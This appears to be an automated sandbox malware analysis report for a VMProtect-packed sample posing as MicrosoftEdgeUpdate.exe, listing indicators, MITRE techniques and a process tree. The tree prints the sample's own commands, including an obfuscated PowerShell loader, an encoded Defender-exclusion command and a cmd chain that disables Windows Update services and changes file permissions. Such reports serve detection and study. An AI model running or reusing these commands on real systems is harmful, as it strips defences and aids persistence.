496b8bd286c915005f3c55317df916ec79ad773e7b88e7f52ae7019f2f071ba7

Analysis

max time kernel
141s
max time network
54s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
16-01-2023 01:14

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General

Target

MicrosoftEdgeUpdate.exe
Size

4.9MB
MD5

8223e55c97c61478aa4230b2ca498a38
SHA1

a42c6d401fbf798806c5fe85c47cc047c189e486
SHA256

496b8bd286c915005f3c55317df916ec79ad773e7b88e7f52ae7019f2f071ba7
SHA512

5a2f32412d677e22602e0155a70328d9836e06eb26f59b6872b902fd044a7fb1011e066696018ae3db018282169e47e00aea3a861643662746543ab5f4d2f93d
SSDEEP

98304:NKB0rS8yY+gIpexlkt2GguS8qth97fOMFz7lFrL8XE:8BaQgGft2hqeh97fOmXlFk

Score

10^/10

discovery evasion exploit vmprotect

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1752 created 416 1752 powershell.EXE winlogon.exe

description	pid	process	target process
PID 1752 created 416	1752	powershell.EXE	winlogon.exe

Drops file in Drivers directory 2 IoCs

Processes:

MicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	MicrosoftEdgeUpdate.exe

Executes dropped EXE 1 IoCs

Processes:

MicrosoftEdgeUpdate.exe

pid process

1216 MicrosoftEdgeUpdate.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

1320 takeown.exe
1844 icacls.exe
1496 takeown.exe
952 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
1216	MicrosoftEdgeUpdate.exe

pid	process
1320	takeown.exe
1844	icacls.exe
1496	takeown.exe
952	icacls.exe

VMProtect packed file 5 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/900-54-0x00000000011C0000-0x0000000001B44000-memory.dmp	vmprotect
\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe	vmprotect
C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe	vmprotect
C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe	vmprotect
behavioral1/memory/1216-127-0x0000000001000000-0x0000000001984000-memory.dmp	vmprotect

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1428 cmd.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

848 taskeng.exe
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exetakeown.exeicacls.exetakeown.exe

pid process

952 icacls.exe
1320 takeown.exe
1844 icacls.exe
1496 takeown.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 ip-api.com

pid	process
1428	cmd.exe

pid	process
848	taskeng.exe

pid	process
952	icacls.exe
1320	takeown.exe
1844	icacls.exe
1496	takeown.exe

flow	ioc
3	ip-api.com

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 2 IoCs

Processes:

MicrosoftEdgeUpdate.exepowershell.EXE

description	pid	process	target process
PID 900 set thread context of 1636	900	MicrosoftEdgeUpdate.exe	conhost.exe
PID 1752 set thread context of 112	1752	powershell.EXE	dllhost.exe

Drops file in Program Files directory 3 IoCs

Processes:

MicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exe

description	ioc	process
File created	C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe	MicrosoftEdgeUpdate.exe
File created	C:\Program Files\Google\Libs\WR64.sys	MicrosoftEdgeUpdate.exe

Drops file in Windows directory 6 IoCs

Processes:

conhost.exesvchost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\appcompat\programs\RecentFileCache.bcf	svchost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	svchost.exe
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1668 sc.exe
1220 sc.exe
1784 sc.exe
1424 sc.exe
1220 sc.exe
552 sc.exe
1208 sc.exe
1916 sc.exe
1604 sc.exe
1464 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1208 schtasks.exe

pid	process
1668	sc.exe
1220	sc.exe
1784	sc.exe
1424	sc.exe
1220	sc.exe
552	sc.exe
1208	sc.exe
1916	sc.exe
1604	sc.exe
1464	sc.exe

pid	process
1208	schtasks.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

powershell.EXEMicrosoftEdgeUpdate.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 2018e10d4829d901	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	MicrosoftEdgeUpdate.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
1672	reg.exe
888	reg.exe
1120	reg.exe
1076	reg.exe
1620	reg.exe
568	reg.exe
1624	reg.exe
1056	reg.exe
888	reg.exe
1200	reg.exe
1480	reg.exe
1744	reg.exe
1200	reg.exe
2000	reg.exe
1124	reg.exe
476	reg.exe
1428	reg.exe
1548	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

MicrosoftEdgeUpdate.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	MicrosoftEdgeUpdate.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeMicrosoftEdgeUpdate.exedllhost.exepowershell.EXEdllhost.exepowershell.exe

pid	process
756	powershell.exe
900	MicrosoftEdgeUpdate.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
1752	powershell.EXE
624	dllhost.exe
624	dllhost.exe
1752	powershell.EXE
112	dllhost.exe
112	dllhost.exe
112	dllhost.exe
112	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
576	powershell.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exeMicrosoftEdgeUpdate.exepowercfg.exepowercfg.exetakeown.exedllhost.exepowershell.EXEdllhost.exesvchost.exepowershell.exeMicrosoftEdgeUpdate.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	756	powershell.exe
Token: SeShutdownPrivilege	1028	powercfg.exe
Token: SeShutdownPrivilege	1924	powercfg.exe
Token: SeDebugPrivilege	900	MicrosoftEdgeUpdate.exe
Token: SeShutdownPrivilege	1640	powercfg.exe
Token: SeShutdownPrivilege	828	powercfg.exe
Token: SeTakeOwnershipPrivilege	1320	takeown.exe
Token: SeDebugPrivilege	624	dllhost.exe
Token: SeDebugPrivilege	1752	powershell.EXE
Token: SeDebugPrivilege	1752	powershell.EXE
Token: SeDebugPrivilege	112	dllhost.exe
Token: SeAuditPrivilege	868	svchost.exe
Token: SeDebugPrivilege	576	powershell.exe
Token: SeDebugPrivilege	1216	MicrosoftEdgeUpdate.exe
Token: SeAssignPrimaryTokenPrivilege	868	svchost.exe
Token: SeIncreaseQuotaPrivilege	868	svchost.exe
Token: SeSecurityPrivilege	868	svchost.exe
Token: SeTakeOwnershipPrivilege	868	svchost.exe
Token: SeLoadDriverPrivilege	868	svchost.exe
Token: SeSystemtimePrivilege	868	svchost.exe
Token: SeBackupPrivilege	868	svchost.exe
Token: SeRestorePrivilege	868	svchost.exe
Token: SeShutdownPrivilege	868	svchost.exe
Token: SeSystemEnvironmentPrivilege	868	svchost.exe
Token: SeUndockPrivilege	868	svchost.exe
Token: SeManageVolumePrivilege	868	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	868	svchost.exe
Token: SeIncreaseQuotaPrivilege	868	svchost.exe
Token: SeSecurityPrivilege	868	svchost.exe
Token: SeTakeOwnershipPrivilege	868	svchost.exe
Token: SeLoadDriverPrivilege	868	svchost.exe
Token: SeSystemtimePrivilege	868	svchost.exe
Token: SeBackupPrivilege	868	svchost.exe
Token: SeRestorePrivilege	868	svchost.exe
Token: SeShutdownPrivilege	868	svchost.exe
Token: SeSystemEnvironmentPrivilege	868	svchost.exe
Token: SeUndockPrivilege	868	svchost.exe
Token: SeManageVolumePrivilege	868	svchost.exe
Token: SeShutdownPrivilege	824	powercfg.exe
Token: SeAssignPrimaryTokenPrivilege	868	svchost.exe
Token: SeIncreaseQuotaPrivilege	868	svchost.exe
Token: SeSecurityPrivilege	868	svchost.exe
Token: SeTakeOwnershipPrivilege	868	svchost.exe
Token: SeLoadDriverPrivilege	868	svchost.exe
Token: SeSystemtimePrivilege	868	svchost.exe
Token: SeBackupPrivilege	868	svchost.exe
Token: SeRestorePrivilege	868	svchost.exe
Token: SeShutdownPrivilege	868	svchost.exe
Token: SeSystemEnvironmentPrivilege	868	svchost.exe
Token: SeUndockPrivilege	868	svchost.exe
Token: SeManageVolumePrivilege	868	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	868	svchost.exe
Token: SeIncreaseQuotaPrivilege	868	svchost.exe
Token: SeSecurityPrivilege	868	svchost.exe
Token: SeTakeOwnershipPrivilege	868	svchost.exe
Token: SeLoadDriverPrivilege	868	svchost.exe
Token: SeSystemtimePrivilege	868	svchost.exe
Token: SeBackupPrivilege	868	svchost.exe
Token: SeRestorePrivilege	868	svchost.exe
Token: SeShutdownPrivilege	868	svchost.exe
Token: SeSystemEnvironmentPrivilege	868	svchost.exe
Token: SeUndockPrivilege	868	svchost.exe
Token: SeManageVolumePrivilege	868	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	868	svchost.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

svchost.exe

pid process

868 svchost.exe

pid	process
868	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

MicrosoftEdgeUpdate.execmd.execmd.exe

description	pid	process	target process
PID 900 wrote to memory of 756	900	MicrosoftEdgeUpdate.exe	powershell.exe
PID 900 wrote to memory of 756	900	MicrosoftEdgeUpdate.exe	powershell.exe
PID 900 wrote to memory of 756	900	MicrosoftEdgeUpdate.exe	powershell.exe
PID 900 wrote to memory of 824	900	MicrosoftEdgeUpdate.exe	cmd.exe
PID 900 wrote to memory of 824	900	MicrosoftEdgeUpdate.exe	cmd.exe
PID 900 wrote to memory of 824	900	MicrosoftEdgeUpdate.exe	cmd.exe
PID 900 wrote to memory of 2016	900	MicrosoftEdgeUpdate.exe	cmd.exe
PID 900 wrote to memory of 2016	900	MicrosoftEdgeUpdate.exe	cmd.exe
PID 900 wrote to memory of 2016	900	MicrosoftEdgeUpdate.exe	cmd.exe
PID 824 wrote to memory of 1668	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1668	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1668	824	cmd.exe	sc.exe
PID 824 wrote to memory of 552	824	cmd.exe	sc.exe
PID 824 wrote to memory of 552	824	cmd.exe	sc.exe
PID 824 wrote to memory of 552	824	cmd.exe	sc.exe
PID 2016 wrote to memory of 1028	2016	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1028	2016	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1028	2016	cmd.exe	powercfg.exe
PID 824 wrote to memory of 1220	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1220	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1220	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1208	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1208	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1208	824	cmd.exe	sc.exe
PID 2016 wrote to memory of 1924	2016	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1924	2016	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1924	2016	cmd.exe	powercfg.exe
PID 824 wrote to memory of 1916	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1916	824	cmd.exe	sc.exe
PID 824 wrote to memory of 1916	824	cmd.exe	sc.exe
PID 824 wrote to memory of 476	824	cmd.exe	reg.exe
PID 824 wrote to memory of 476	824	cmd.exe	reg.exe
PID 824 wrote to memory of 476	824	cmd.exe	reg.exe
PID 2016 wrote to memory of 1640	2016	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1640	2016	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1640	2016	cmd.exe	powercfg.exe
PID 824 wrote to memory of 1428	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1428	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1428	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1120	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1120	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1120	824	cmd.exe	reg.exe
PID 2016 wrote to memory of 828	2016	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 828	2016	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 828	2016	cmd.exe	powercfg.exe
PID 824 wrote to memory of 1076	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1076	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1076	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1624	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1624	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1624	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1320	824	cmd.exe	takeown.exe
PID 824 wrote to memory of 1320	824	cmd.exe	takeown.exe
PID 824 wrote to memory of 1320	824	cmd.exe	takeown.exe
PID 824 wrote to memory of 1844	824	cmd.exe	icacls.exe
PID 824 wrote to memory of 1844	824	cmd.exe	icacls.exe
PID 824 wrote to memory of 1844	824	cmd.exe	icacls.exe
PID 824 wrote to memory of 1548	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1548	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1548	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1056	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1056	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1056	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1744	824	cmd.exe	reg.exe

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:472

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:464

C:\Windows\system32\sppsvc.exe
C:\Windows\system32\sppsvc.exe
2⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
2⤵
PID:976

C:\Windows\system32\taskhost.exe
"taskhost.exe"
2⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
2⤵
PID:1048

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
2⤵
PID:288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService
2⤵
PID:300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs
2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:868

C:\Windows\system32\taskeng.exe
taskeng.exe {2A791987-AFB3-4309-9A6B-4DFE21214320} S-1-5-18:NT AUTHORITY\System:Service:
3⤵
- Loads dropped DLL
PID:848

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe
"C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe"
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAZABjAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAaQB5ACMAPgA="
5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:576

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:776

C:\Windows\system32\sc.exe
sc stop UsoSvc
6⤵
- Launches sc.exe
PID:1784

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
6⤵
- Launches sc.exe
PID:1604

C:\Windows\system32\sc.exe
sc stop wuauserv
6⤵
- Launches sc.exe
PID:1464

C:\Windows\system32\sc.exe
sc stop bits
6⤵
- Launches sc.exe
PID:1424

C:\Windows\system32\sc.exe
sc stop dosvc
6⤵
- Launches sc.exe
PID:1220

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
6⤵
- Modifies registry key
PID:888

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
6⤵
- Modifies registry key
PID:1620

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
6⤵
- Modifies registry key
PID:1200

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
6⤵
- Modifies registry key
PID:1672

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
6⤵
- Modifies registry key
PID:2000

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1496

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:952

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:1200

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:568

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:1480

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:888

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
6⤵
PID:1828

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
6⤵
PID:892

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
6⤵
PID:1912

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
6⤵
PID:1596

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
6⤵
PID:2000

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
6⤵
PID:2032

